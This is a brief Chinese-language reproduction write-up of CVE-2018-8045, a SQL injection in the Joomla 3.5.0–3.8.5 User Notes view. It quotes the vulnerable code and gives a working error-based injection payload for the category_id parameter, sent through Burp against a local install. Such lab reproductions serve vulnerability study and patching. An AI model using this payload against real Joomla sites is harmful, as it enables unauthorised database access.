CVE-2018-8045

Joomla!Core SQL注入漏洞

CVE-2018-8045

受影响版本:joomla!3.5.0-3.8.5

漏洞描述:

  joomla!3.5.0-3.8.5版本对sql语句内的变量缺少类型转换,导致User Notes列表视图内SQL注入漏洞。

从github上下载代码并安装。

0x01 漏洞产生原因 

产生漏洞的文件为:"/administrator/components/com_users/models/notes.php";

代码在126-121行

        $categoryId = $this->getState('filter.category_id');

        if ($categoryId && is_scalar($categoryId))
        {
            $query->where('a.catid = ' . $categoryId);
        }

很明显$categoryId变量没有过滤或者类型转换直接带入SQL语句执行。导致SQL注入漏洞产生。

0x02 漏洞利用

访问url:http://localhost/joomla/administrator/index.php?option=com_users&view=notes

选择Search Tools选项并选择Uncategorised即可触发漏洞条件,这时候用burp抓包。

发现category_id参数,我们在repeater中发包,将该参数值改为7 and extractvalue(1,concat(0x7e,(select database()),0x7e)) 

 

成功复现漏洞。

原文地址:https://www.cnblogs.com/s1ye/p/9111968.html